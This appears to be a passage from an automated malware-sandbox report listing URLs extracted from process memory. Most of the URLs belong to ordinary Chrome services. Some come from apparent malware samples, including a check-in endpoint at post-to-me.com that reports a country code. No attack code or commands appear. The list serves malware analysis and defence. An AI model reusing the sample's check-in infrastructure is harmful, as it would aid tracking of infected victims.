Source: chrome.exe, 00000005.00000003.2009561440.00006C4004F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2008324547.00006C4004F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2044216366.0000693C00770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2051485574.00006C4002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2043198265.0000693C00237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000005.00000003.1957261943.0000693C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1957474195.0000693C0039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000005.00000003.1957261943.0000693C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1957474195.0000693C0039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000005.00000002.2044216366.0000693C00770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000005.00000002.2043198265.0000693C00237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardi
Source: chrome.exe, 00000005.00000003.2009561440.00006C4004F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2008324547.00006C4004F8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardl
Source: chrome.exe, 00000005.00000003.1957474195.0000693C0039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000005.00000002.2047286172.00006C4002628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017673246.00006C40051B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2026438876.00006C4003E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2058087454.00006C4003530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2021133482.00006C4004F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000005.00000003.1977595832.00006C4002504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1977865024.00006C40032F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1978040359.00006C400340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000005.00000003.1977595832.00006C4002504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1977865024.00006C40032F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1978040359.00006C400340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000005.00000003.1957261943.0000693C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1957474195.0000693C0039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000005.00000003.1958181270.0000693C006E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2044184024.0000693C00744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000005.00000003.1957474195.0000693C0039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000005.00000002.2044318237.0000693C0078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_202309180
Source: chrome.exe, 00000005.00000002.2044318237.0000693C0078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusP
Source: chrome.exe, 00000005.00000002.2044184024.0000693C00744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000005.00000003.1997636992.00006C4002DD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2046845258.00006C4002588000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 00000005.00000002.2046216545.00006C40023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1960586118.00006C40023C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000005.00000002.2046216545.00006C40023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/apil
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2045685527.00006C40022E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000005.00000002.2047286172.00006C4002628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017673246.00006C40051B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2026438876.00006C4003E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2058087454.00006C4003530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2021133482.00006C4004F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2045685527.00006C40022E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2045685527.00006C40022E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000005.00000002.2046774762.00006C4002558000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2045685527.00006C40022E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr	String found in binary or memory: https://mozilla.org0/
Source: chrome.exe, 00000005.00000002.2056348243.00006C400309C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2050181374.00006C400293C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2047966403.00006C40026FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000005.00000002.2050565108.00006C4002988000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2047532645.00006C400269C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000005.00000002.2051242421.00006C40029DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2047532645.00006C400269C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2056858392.00006C4003194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000005.00000002.2056858392.00006C4003194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneaf
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000005.00000002.2056858392.00006C4003194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000005.00000002.2052721413.00006C4002BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2052770830.00006C4002BDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000005.00000002.2046216545.00006C40023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000005.00000002.2046298954.00006C400240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017508265.00006C40052AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000005.00000002.2049371666.00006C4002880000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017508265.00006C40052AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017508265.00006C40052AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000005.00000002.2053368430.00006C4002CFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054214122.00006C4002E50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2000307118.00006C4004938000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054001263.00006C4002E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000005.00000002.2053368430.00006C4002CFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2000307118.00006C4004938000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054001263.00006C4002E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971291366.00006C4002990000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054252008.00006C4002E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000005.00000002.2053368430.00006C4002CFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054214122.00006C4002E50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2000307118.00006C4004938000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054001263.00006C4002E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000005.00000002.2054214122.00006C4002E50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2000307118.00006C4004938000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2046641112.00006C40024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054001263.00006C4002E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971291366.00006C4002990000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054252008.00006C4002E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000005.00000002.2054214122.00006C4002E50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2000307118.00006C4004938000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2046641112.00006C40024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054001263.00006C4002E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000005.00000002.2054214122.00006C4002E50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2000307118.00006C4004938000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054001263.00006C4002E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971291366.00006C4002990000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054252008.00006C4002E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000005.00000002.2053368430.00006C4002CFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2000307118.00006C4004938000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054001263.00006C4002E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971291366.00006C4002990000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054252008.00006C4002E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000005.00000002.2053368430.00006C4002CFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054214122.00006C4002E50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2000307118.00006C4004938000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054001263.00006C4002E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971291366.00006C4002990000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054252008.00006C4002E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000005.00000002.2047581503.00006C40026BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000005.00000002.2052721413.00006C4002BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2052770830.00006C4002BDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000005.00000003.1977595832.00006C4002504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1977865024.00006C40032F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1978040359.00006C400340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000005.00000002.2052721413.00006C4002BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2052770830.00006C4002BDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: IeccNv7PP6.exe, 00000000.00000002.4138451016.0000000002E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/
Source: IeccNv7PP6.exe	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=
Source: IeccNv7PP6.exe, 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=&cc=DE
Source: IeccNv7PP6.exe, 00000000.00000003.4112685558.0000000002E1C000.00000004.00000020.00020000.00000000.sdmp, IeccNv7PP6.exe, 00000000.00000002.4138451016.0000000002E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=0&cc=DE
Source: IeccNv7PP6.exe, 00000000.00000003.4112685558.0000000002E1C000.00000004.00000020.00020000.00000000.sdmp, IeccNv7PP6.exe, 00000000.00000002.4138451016.0000000002E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=0&cc=DE9
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000005.00000002.2045509384.00006C400228C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000005.00000002.2045588505.00006C40022A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000005.00000002.2046216545.00006C40023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000005.00000002.2051242421.00006C40029DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2051485574.00006C4002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054439822.00006C4002E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2047581503.00006C40026BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000005.00000002.2051242421.00006C40029DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2051485574.00006C4002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054439822.00006C4002E7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000005.00000002.2047286172.00006C4002628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017673246.00006C40051B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2026438876.00006C4003E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2021133482.00006C4004F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: KEGDBFIJKEBGIDGDHCGCAFHJKK.2.dr	String found in binary or memory: https://support.mozilla.org
Source: KEGDBFIJKEBGIDGDHCGCAFHJKK.2.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KEGDBFIJKEBGIDGDHCGCAFHJKK.2.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp, 795F.tmp.exe, 00000002.00000003.2042019389.0000000020D54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp, 795F.tmp.exe, 00000002.00000003.2042019389.0000000020D54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: chrome.exe, 00000005.00000002.2053063490.00006C4002C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000005.00000002.2046216545.00006C40023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, EGHCBKKKFHCGCBFIJEHD.2.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000005.00000002.2053898646.00006C4002DE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000005.00000002.2053898646.00006C4002DE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000005.00000002.2053898646.00006C4002DE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, EGHCBKKKFHCGCBFIJEHD.2.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000005.00000002.2047249120.00006C4002618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.c
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000005.00000003.1973392290.00006C4002EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053181113.00006C4002C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2052770830.00006C4002BDF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2049534571.00006C40028A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000005.00000002.2047286172.00006C4002628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2051882674.00006C4002A2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000005.00000002.2054525220.00006C4002E90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000005.00000002.2057323276.00006C40032E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000005.00000002.2056457056.00006C40030D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2046216545.00006C40023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2052096191.00006C4002A7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2052611941.00006C4002B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000005.00000002.2056457056.00006C40030D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2046216545.00006C40023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2052096191.00006C4002A7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2052611941.00006C4002B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000005.00000002.2054055189.00006C4002E18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2050181374.00006C400293C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2047966403.00006C40026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2048919427.00006C400280C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053489906.00006C4002D34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000005.00000002.2047286172.00006C4002628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017673246.00006C40051B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2026438876.00006C4003E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2058087454.00006C4003530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2021133482.00006C4004F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017508265.00006C40052AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000005.00000003.1978040359.00006C400340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000005.00000002.2047581503.00006C40026BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000005.00000002.2047581503.00006C40026BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submitl
Source: chrome.exe, 00000005.00000002.2053181113.00006C4002C98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
